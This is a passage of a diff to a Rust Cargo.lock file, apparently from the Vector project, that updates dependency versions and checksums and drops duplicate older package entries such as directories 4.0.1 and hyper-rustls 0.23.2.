0.21.5", + "base64 0.21.7", "hex", "lazy_static", "num_enum 0.6.1", @@ -2219,6 +2164,19 @@ dependencies = [ ] [[package]] +name = "compact_str" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f86b9c4c00838774a6d902ef931eff7470720c51d90c2e32cfe15dc304737b3f" +dependencies = [ + "castaway", + "cfg-if", + "itoa", + "ryu", + "static_assertions", +] + +[[package]] name = "concurrent-queue" version = "2.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2229,14 +2187,14 @@ dependencies = [ [[package]] name = "confy" -version = "0.5.1" +version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e37668cb35145dcfaa1931a5f37fde375eeae8068b4c0d2f289da28a270b2d2c" +checksum = "15d296c475c6ed4093824c28e222420831d27577aaaf0a1163a3b7fc35b248a5" dependencies = [ - "directories 4.0.1", + "directories", "serde", "thiserror", - "toml 0.5.11", + "toml", ] [[package]] @@ -2261,7 +2219,7 @@ dependencies = [ "futures-core", "prost 0.12.3", "prost-types 0.12.3", - "tonic 0.10.2", + "tonic", "tracing-core 0.1.32", ] @@ -2283,7 +2241,7 @@ dependencies = [ "thread_local", "tokio", "tokio-stream", - "tonic 0.10.2", + "tonic", "tracing 0.1.40", "tracing-core 0.1.32", "tracing-subscriber", @@ -2398,7 +2356,7 @@ dependencies = [ "anes", "cast", "ciborium", - "clap 4.4.12", + "clap 4.4.18", "criterion-plot", "futures 0.3.30", "is-terminal", @@ -2463,22 +2421,18 @@ dependencies = [ [[package]] name = "crossbeam-queue" -version = "0.3.8" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d1cfb3ea8a53f37c40dea2c7bedcbd88bdfae54f5e2175d6ecaff1c988353add" +checksum = "df0346b5d5e76ac2fe4e327c5fd1118d6be7c51dfb18f9b7922923f287471e35" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-utils" -version = "0.8.18" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3a430a770ebd84726f584a90ee7f020d28db52c6d02138900f22341f866d39c" -dependencies = [ - "cfg-if", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] name = "crossterm" @@ -2603,9 +2557,9 @@ version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -2630,12 +2584,12 @@ dependencies = [ [[package]] name = "darling" -version = "0.20.3" +version = "0.20.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0209d94da627ab5605dcccf08bb18afa5009cfbef48d8a8b7d7bdbc79be25c5e" +checksum = "fc5d6b04b3fd0ba9926f945895de7d806260a2d7431ba82e7edaecb043c4c6b8" dependencies = [ - "darling_core 0.20.3", - "darling_macro 0.20.3", + "darling_core 0.20.5", + "darling_macro 0.20.5", ] [[package]] @@ -2646,7 +2600,7 @@ checksum = "859d65a907b6852c9361e3185c862aae7fafd2887876799fa55f5f99dc40d610" dependencies = [ "fnv", "ident_case", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "strsim 0.10.0", "syn 1.0.109", @@ -2660,7 +2614,7 @@ checksum = "109c1ca6e6b7f82cc233a97004ea8ed7ca123a9af07a8230878fcfda9b158bf0" dependencies = [ "fnv", "ident_case", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "strsim 0.10.0", "syn 1.0.109", @@ -2668,16 +2622,16 @@ dependencies = [ [[package]] name = "darling_core" -version = "0.20.3" +version = "0.20.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "177e3443818124b357d8e76f53be906d60937f0d3a90773a664fa63fa253e621" +checksum = "04e48a959bcd5c761246f5d090ebc2fbf7b9cd527a492b07a67510c108f1e7e3" dependencies = [ "fnv", "ident_case", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "strsim 0.10.0", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -2704,13 +2658,13 @@ dependencies = [ [[package]] name = "darling_macro" -version = "0.20.3" +version = "0.20.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" +checksum = "1d1545d67a2149e1d93b7e5c7752dce5a7426eb5d1357ddcfd89336b94444f77" dependencies = [ - "darling_core 0.20.3", + "darling_core 0.20.5", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -2802,7 +2756,7 @@ version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fcc3dd5e9e9c0b295d6e1e4d811fb6f157d5ffd784b8d202fc62eac8035a770b" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -2813,9 +2767,9 @@ version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "67e77553c4162a157adbf834ebae5b415acbecbeafc7a74b0e886657506a7611" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -2825,7 +2779,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4fb810d30a7c1953f91334de7244731fc3f3c10d7fe163338a35b9f640960321" dependencies = [ "convert_case 0.4.0", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "rustc_version 0.4.0", "syn 1.0.109", @@ -2857,20 +2811,11 @@ dependencies = [ [[package]] name = "directories" -version = "4.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f51c5d4ddabd36886dd3e1438cb358cdcb0d7c499cb99cb4ac2e38e18b5cb210" -dependencies = [ - "dirs-sys 0.3.7", -] - -[[package]] -name = "directories" version = "5.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a49173b84e034382284f27f1af4dcbbd231ffa358c0fe316541a7337f376a35" dependencies = [ - "dirs-sys 0.4.1", + "dirs-sys", ] [[package]] @@ -2885,17 +2830,6 @@ dependencies = [ [[package]] name = "dirs-sys" -version = "0.3.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6" -dependencies = [ - "libc", - "redox_users", - "winapi", -] - -[[package]] -name = "dirs-sys" version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" @@ -2952,7 +2886,7 @@ dependencies = [ "anyhow", "serde", "serde_json", - "snafu", + "snafu 0.7.5", "tracing 0.1.40", "tracing-subscriber", "vector-config", @@ -3102,7 +3036,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "21cdad81446a7f7dc43f6a77409efeb9733d2fa65553efef6018ef257c959b73" dependencies = [ "heck 0.4.1", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -3114,9 +3048,9 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5ffccbb6966c05b32ef8fbac435df276c4ae4d3dc55a8cd0eb9745e6c12f546a" dependencies = [ "heck 0.4.1", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -3126,9 +3060,9 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f33313078bb8d4d05a2733a94ac4c2d8a0df9a2b84424ebf4f33bfc224a890e" dependencies = [ "once_cell", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -3146,9 +3080,9 @@ version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f95e2801cd355d4a1a3e3953ce6ee5ae9603a5c833455343a8bfe3f44d418246" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -3169,9 +3103,9 @@ dependencies = [ [[package]] name = "env_logger" -version = "0.10.1" +version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95b3f3e67048839cb0d0781f445682a35113da7121f7c949db0e2be96a4fbece" +checksum = "4cd405aab171cb85d6735e5c8d9db038c17d3ca007a4d2c25f337935c3d90580" dependencies = [ "humantime", "is-terminal", @@ -3263,18 +3197,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "de853764b47027c2e862a995c34978ffa63c1501f2e15f987ba11bd4f9bba193" [[package]] -name = "extend" -version = "0.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f47da3a72ec598d9c8937a7ebca8962a5c7a1f28444e38c2b33c771ba3f55f05" -dependencies = [ - "proc-macro-error", - "proc-macro2 1.0.74", - "quote 1.0.35", - "syn 1.0.109", -] - -[[package]] name = "fakedata" version = "0.1.0" dependencies = [ @@ -3345,7 +3267,7 @@ dependencies = [ "flate2", "futures 0.3.30", "glob", - "indexmap 2.1.0", + "indexmap 2.2.3", "libc", "quickcheck", "scan_fmt", @@ -3549,9 +3471,9 @@ version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -3616,9 +3538,9 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.11" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe9006bed769170c11f845cf00c7c1e9092aeb3f268e007c3e760ac68008070f" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" dependencies = [ "cfg-if", "js-sys", @@ -3728,7 +3650,7 @@ dependencies = [ "graphql-parser", "heck 0.4.1", "lazy_static", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "serde", "serde_json", @@ -3742,26 +3664,28 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "00bda454f3d313f909298f626115092d348bc231025699f557b27e248475f48c" dependencies = [ "graphql_client_codegen", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "syn 1.0.109", ] [[package]] name = "greptime-proto" version = "0.1.0" -source = "git+https://github.com/GreptimeTeam/greptime-proto.git?tag=0.2.1#4398d20c56d5f7939cc2960789cb1fa7dd18e6fe" +source = "git+https://github.com/GreptimeTeam/greptime-proto.git?tag=v0.4.1#4306ab645ee55b3f7f2ad3fb7acc5820f967c1aa" dependencies = [ - "prost 0.11.9", + "prost 0.12.3", "serde", "serde_json", - "tonic 0.9.2", - "tonic-build 0.9.2", + "strum 0.25.0", + "strum_macros 0.25.3", + "tonic", + "tonic-build 0.10.2", ] [[package]] name = "greptimedb-client" version = "0.1.0" -source = "git+https://github.com/GreptimeTeam/greptimedb-client-rust.git?rev=bc32362adf0df17a41a95bae4221d6d8f1775656#bc32362adf0df17a41a95bae4221d6d8f1775656" +source = "git+https://github.com/GreptimeTeam/greptimedb-ingester-rust.git?rev=4cb19ec47eeaf634c451d9ae438dac445a8a3dce#4cb19ec47eeaf634c451d9ae438dac445a8a3dce" dependencies = [ "dashmap", "enum_dispatch", @@ -3769,12 +3693,12 @@ dependencies = [ "futures-util", "greptime-proto", "parking_lot", - "prost 0.11.9", + "prost 0.12.3", "rand 0.8.5", - "snafu", + "snafu 0.7.5", "tokio", "tokio-stream", - "tonic 0.9.2", + "tonic", "tonic-build 0.9.2", "tower", ] @@ -3802,9 +3726,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.3.22" +version = "0.3.24" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d6250322ef6e60f93f9a2162799302cd6f68f79f6e5d85c8c16f14d1d958178" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" dependencies = [ "bytes 1.5.0", "fnv", @@ -3812,7 +3736,7 @@ dependencies = [ "futures-sink", "futures-util", "http 0.2.9", - "indexmap 2.1.0", + "indexmap 2.2.3", "slab", "tokio", "tokio-util", @@ -3821,9 +3745,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.4.0" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e1d308f63daf4181410c242d34c11f928dcb3aa105852019e043c9d1f4e4368a" +checksum = "31d030e59af851932b72ceebadf4a2b5986dba4c3b99dd2493f8273a0f151943" dependencies = [ "bytes 1.5.0", "fnv", @@ -3831,7 +3755,7 @@ dependencies = [ "futures-sink", "futures-util", "http 1.0.0", - "indexmap 2.1.0", + "indexmap 2.2.3", "slab", "tokio", "tokio-util", @@ -3884,7 +3808,7 @@ version = "7.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "765c9198f173dd59ce26ff9f95ef0aafd0a0fe01fb9d72841bc5066a4c06511d" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "byteorder", "crossbeam-channel", "flate2", @@ -3898,7 +3822,7 @@ version = "0.3.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "06683b93020a07e3dbcf5f8c0f6d40080d725bea7936fc01ad345c01b97dc270" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "bytes 1.5.0", "headers-core", "http 0.2.9", @@ -3934,7 +3858,7 @@ checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" [[package]] name = "heim" version = "0.1.0-rc.1" -source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#76fa765c7ed7fbe43d1465bf52da6b8d19f2d2a9" +source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#a66c44074fb214e2b9355d7c407315f720664b18" dependencies = [ "heim-common", "heim-cpu", @@ -3948,7 +3872,7 @@ dependencies = [ [[package]] name = "heim-common" version = "0.1.0-rc.1" -source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#76fa765c7ed7fbe43d1465bf52da6b8d19f2d2a9" +source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#a66c44074fb214e2b9355d7c407315f720664b18" dependencies = [ "cfg-if", "core-foundation", @@ -3966,7 +3890,7 @@ dependencies = [ [[package]] name = "heim-cpu" version = "0.1.0-rc.1" -source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#76fa765c7ed7fbe43d1465bf52da6b8d19f2d2a9" +source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#a66c44074fb214e2b9355d7c407315f720664b18" dependencies = [ "cfg-if", "futures 0.3.30", @@ -3984,7 +3908,7 @@ dependencies = [ [[package]] name = "heim-disk" version = "0.1.0-rc.1" -source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#76fa765c7ed7fbe43d1465bf52da6b8d19f2d2a9" +source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#a66c44074fb214e2b9355d7c407315f720664b18" dependencies = [ "bitflags 1.3.2", "cfg-if", @@ -4000,7 +3924,7 @@ dependencies = [ [[package]] name = "heim-host" version = "0.1.0-rc.1" -source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#76fa765c7ed7fbe43d1465bf52da6b8d19f2d2a9" +source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#a66c44074fb214e2b9355d7c407315f720664b18" dependencies = [ "cfg-if", "heim-common", @@ -4017,7 +3941,7 @@ dependencies = [ [[package]] name = "heim-memory" version = "0.1.0-rc.1" -source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#76fa765c7ed7fbe43d1465bf52da6b8d19f2d2a9" +source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#a66c44074fb214e2b9355d7c407315f720664b18" dependencies = [ "cfg-if", "heim-common", @@ -4031,7 +3955,7 @@ dependencies = [ [[package]] name = "heim-net" version = "0.1.0-rc.1" -source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#76fa765c7ed7fbe43d1465bf52da6b8d19f2d2a9" +source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#a66c44074fb214e2b9355d7c407315f720664b18" dependencies = [ "bitflags 1.3.2", "cfg-if", @@ -4047,7 +3971,7 @@ dependencies = [ [[package]] name = "heim-runtime" version = "0.1.0-rc.1" -source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#76fa765c7ed7fbe43d1465bf52da6b8d19f2d2a9" +source = "git+https://github.com/vectordotdev/heim.git?branch=update-nix#a66c44074fb214e2b9355d7c407315f720664b18" dependencies = [ "futures 0.3.30", "futures-timer", @@ -4236,7 +4160,7 @@ dependencies = [ "futures-channel", "futures-core", "futures-util", - "h2 0.3.22", + "h2 0.3.24", "http 0.2.9", "http-body", "httparse", @@ -4287,21 +4211,6 @@ dependencies = [ [[package]] name = "hyper-rustls" -version = "0.23.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1788965e61b367cd03a62950836d5cd41560c3577d90e40e0819373194d1661c" -dependencies = [ - "http 0.2.9", - "hyper", - "log", - "rustls 0.20.9", - "rustls-native-certs", - "tokio", - "tokio-rustls 0.23.4", -] - -[[package]] -name = "hyper-rustls" version = "0.24.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" @@ -4310,10 +4219,10 @@ dependencies = [ "http 0.2.9", "hyper", "log", - "rustls 0.21.8", + "rustls", "rustls-native-certs", "tokio", - "tokio-rustls 0.24.1", + "tokio-rustls", ] [[package]] @@ -4356,9 +4265,9 @@ dependencies = [ [[package]] name = "iana-time-zone" -version = "0.1.58" +version = "0.1.60" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8326b86b6cff230b97d0d312a6c40a60726df3332e721f72a1b035f451663b20" +checksum = "e7ffbb5a1b541ea2561f8c41c087286cc091e21e556a4f09a8f6cbf17b69b141" dependencies = [ "android_system_properties", "core-foundation-sys", @@ -4427,9 +4336,9 @@ dependencies = [ [[package]] name = "indexmap" -version = "2.1.0" +version = "2.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +checksum = "233cf39063f058ea2caae4091bf4a3ef70a653afbc026f5c4a4135d114e3c177" dependencies = [ "equivalent", "hashbrown 0.14.3", @@ -4438,9 +4347,9 @@ dependencies = [ [[package]] name = "indicatif" -version = "0.17.7" +version = "0.17.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb28741c9db9a713d93deb3bb9515c20788cef5815265bee4980e87bde7e0f25" +checksum = "763a5a8f45087d6bcea4222e7b72c291a054edf80e4ef6efd2a4979878c7bea3" dependencies = [ "console", "instant", @@ -4509,9 +4418,9 @@ dependencies = [ [[package]] name = "inventory" -version = "0.3.14" +version = "0.3.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c8573b2b1fb643a372c73b23f4da5f888677feef3305146d68a539250a9bccc7" +checksum = "f958d3d68f4167080a18141e10381e7634563984a537f2a49a30fd8e53ac5767" [[package]] name = "io-lifetimes" @@ -4553,9 +4462,9 @@ checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" [[package]] name = "ipnetwork" -version = "0.18.0" +version = "0.20.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4088d739b183546b239688ddbc79891831df421773df95e236daf7867866d355" +checksum = "bf466541e9d546596ee94f9f69590f89473455f88372423e0008fc1a7daf100e" dependencies = [ "serde", ] @@ -4567,7 +4476,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b" dependencies = [ "hermit-abi 0.3.3", - "rustix 0.38.28", + "rustix 0.38.31", "windows-sys 0.48.0", ] @@ -4597,9 +4506,9 @@ dependencies = [ [[package]] name = "itertools" -version = "0.12.0" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25db6b064527c5d482d0423354fcd07a89a2dfe07b67892e62411946db7f07b0" +checksum = "ba291022dbbd398a455acf126c1e341954079855bc60dfdda641363bd6922569" dependencies = [ "either", ] @@ -4677,7 +4586,7 @@ dependencies = [ name = "k8s-e2e-tests" version = "0.1.0" dependencies = [ - "env_logger 0.10.1", + "env_logger 0.10.2", "futures 0.3.30", "indoc", "k8s-openapi 0.16.0", @@ -4710,7 +4619,7 @@ version = "0.18.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cd990069640f9db34b3b0f7a1afc62a05ffaa3be9b66aa3c313f58346df7f788" dependencies = [ - "base64 0.21.5", + "base64 0.21.7", "bytes 1.5.0", "chrono", "http 0.2.9", @@ -4808,7 +4717,7 @@ dependencies = [ "secrecy", "serde", "serde_json", - "serde_yaml 0.9.29", + "serde_yaml 0.9.31", "thiserror", "tokio", "tokio-util", @@ -4920,9 +4829,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.151" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] name = "libflate" @@ -5046,9 +4955,9 @@ dependencies = [ [[package]] name = "lru" -version = "0.12.1" +version = "0.12.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2994eeba8ed550fd9b47a0b38f0242bc3344e496483c6180b69139cc2fa5d1d7" +checksum = "db2c024b41519440580066ba82aab04092b333e09066a5eb86c7c4890df31f22" dependencies = [ "hashbrown 0.14.3", ] @@ -5064,9 +4973,9 @@ dependencies = [ [[package]] name = "lua-src" -version = "546.0.1" +version = "546.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c26d4af78361e025a3d03a2b964cd1592aff7495f4d4f7947218c084c6fdca8" +checksum = "2da0daa7eee611a4c30c8f5ee31af55266e26e573971ba9336d2993e2da129b2" dependencies = [ "cc", ] @@ -5173,9 +5082,9 @@ dependencies = [ [[package]] name = "maxminddb" -version = "0.23.0" +version = "0.24.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fe2ba61113f9f7a9f0e87c519682d39c43a6f3f79c2cc42c3ba3dda83b1fa334" +checksum = "d6087e5d8ea14861bb7c7f573afbc7be3798d3ef0fae87ec4fd9a4de9a127c3c" dependencies = [ "ipnetwork", "log", @@ -5201,9 +5110,9 @@ checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memmap2" -version = "0.9.3" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "45fd3a57831bf88bc63f8cebc0cf956116276e97fef3966103e96416209f7c92" +checksum = "fe751422e4a8caa417e13c3ea66452215d7d63e19e604f4980461212f3ae1322" dependencies = [ "libc", ] @@ -5252,9 +5161,9 @@ version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ddece26afd34c31585c74a4db0630c376df271c285d682d1e55012197830b6df" dependencies = [ - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -5337,9 +5246,9 @@ dependencies = [ [[package]] name = "mlua" -version = "0.9.2" +version = "0.9.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c81f8ac20188feb5461a73eabb22a34dd09d6d58513535eb587e46bff6ba250" +checksum = "1d3561f79659ff3afad7b25e2bf2ec21507fe601ebecb7f81088669ec4bfd51e" dependencies = [ "bstr 1.9.0", "mlua-sys", @@ -5351,9 +5260,9 @@ dependencies = [ [[package]] name = "mlua-sys" -version = "0.4.0" +version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fc29228347d6bdc9e613dc95c69df2817f755434ee0f7f3b27b57755fe238b7f" +checksum = "2847b42764435201d8cbee1f517edb79c4cca4181877b90047587c89e1b7bce4" dependencies = [ "cc", "cfg-if", @@ -5364,17 +5273,17 @@ dependencies = [ [[package]] name = "mlua_derive" -version = "0.9.0" +version = "0.9.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f359220f24e6452dd82a3f50d7242d4aab822b5594798048e953d7a9e0314c6" +checksum = "aaade5f94e5829db58791664ba98f35fea6a3ffebc783becb51dc97c7a21abee" dependencies = [ - "itertools 0.11.0", + "itertools 0.12.1", "once_cell", "proc-macro-error", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "regex", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -5385,9 +5294,9 @@ checksum = "6c1a54de846c4006b88b1516731cc1f6026eb5dc4bcb186aa071ef66d40524ec" [[package]] name = "mongodb" -version = "2.8.0" +version = "2.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "46c30763a5c6c52079602be44fa360ca3bfacee55fca73f4734aecd23706a7f2" +checksum = "de59562e5c71656c098d8e966641b31da87b89dc3dcb6e761d3b37dcdfa0cb72" dependencies = [ "async-trait", "base64 0.13.1", @@ -5408,7 +5317,7 @@ dependencies = [ "percent-encoding", "rand 0.8.5", "rustc_version_runtime", - "rustls 0.21.8", + "rustls", "rustls-pemfile", "serde", "serde_bytes", @@ -5421,7 +5330,7 @@ dependencies = [ "take_mut", "thiserror", "tokio", - "tokio-rustls 0.24.1", + "tokio-rustls", "tokio-util", "trust-dns-proto", "trust-dns-resolver", @@ -5432,14 +5341,14 @@ dependencies = [ [[package]] name = "multer" -version = "2.1.0" +version = "3.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01acbdc23469fd8fe07ab135923371d5f5a422fbf9c522158677c8eb15bc51c2" +checksum = "a15d522be0a9c3e46fd2632e272d178f56387bdb5c9fbb3a36c649062e9b5219" dependencies = [ "bytes 1.5.0", "encoding_rs", "futures-util", - "http 0.2.9", + "http 1.0.0", "httparse", "log", "memchr", @@ -5567,7 +5476,7 @@ dependencies = [ "data-encoding", "ed25519", "ed25519-dalek", - "getrandom 0.2.11", + "getrandom 0.2.12", "log", "rand 0.8.5", "signatory", @@ -5583,7 +5492,7 @@ dependencies = [ "data-encoding", "ed25519", "ed25519-dalek", - "getrandom 0.2.11", + "getrandom 0.2.12", "log", "rand 0.8.5", "signatory", @@ -5757,9 +5666,9 @@ dependencies = [ [[package]] name = "num-traits" -version = "0.2.17" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" dependencies = [ "autocfg", "libm", @@ -5795,11 +5704,11 @@ dependencies = [ [[package]] name = "num_enum" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "683751d591e6d81200c39fb0d1032608b77724f34114db54f571ff1317b337c0" +checksum = "02339744ee7253741199f897151b38e72257d13802d4ee837285cc2990a90845" dependencies = [ - "num_enum_derive 0.7.1", + "num_enum_derive 0.7.2", ] [[package]] @@ -5809,7 +5718,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dcbff9bc912032c62bf65ef1d5aea88983b420f4f839db1e9b0c281a25c9c799" dependencies = [ "proc-macro-crate 1.3.1", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", "syn 1.0.109", ] @@ -5821,21 +5730,21 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "96667db765a921f7b295ffee8b60472b686a51d4f21c2ee4ffdb94c7013b65a6" dependencies = [ "proc-macro-crate 1.3.1", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] name = "num_enum_derive" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6c11e44798ad209ccdd91fc192f0526a369a01234f7373e1b141c96d7cee4f0e" +checksum = "681030a937600a36906c185595136d26abfebb4aa9c65701cefcaf8578bb982b" dependencies = [ "proc-macro-crate 2.0.0", - "proc-macro2 1.0.74", + "proc-macro2 1.0.78", "quote 1.0.35", - "syn 2.0.46", + "syn 2.0.48", ] [[package]] @@ -5861,7 +5770,7 @@ checksum = "c38841cdd844847e3e7c8d29cef9dcfed8877f8f56f9071f77843ecf3baf937f" dependencies = [ "base64 0.13.1", "chrono", - "getrandom 0.2.11", + "getrandom 0.2.12", "http 0.2.9", "rand 0.8.5", "reqwest", @@ -5942,27 +5851,24 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" [[package]] name = "opendal" -version = "0.44.0" +version = "0.45.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c32736a48ef08a5d2212864e2295c8e54f4d6b352b7f49aa0c29a12fc410ff66" +checksum = "3350be0d4ba326017ce22c98a9e94d21b069160fcd95bbe6c2555dac4e93c47a" dependencies = [ "anyhow", - "async-compat", "async-trait", "backon", - "base64 0.21.5", + "base64 0.21.7", "bytes 1.5.0", "chrono", "flagset", "futures 0.3.30", - "getrandom 0.2.11", + "getrandom 0.2.12", "http 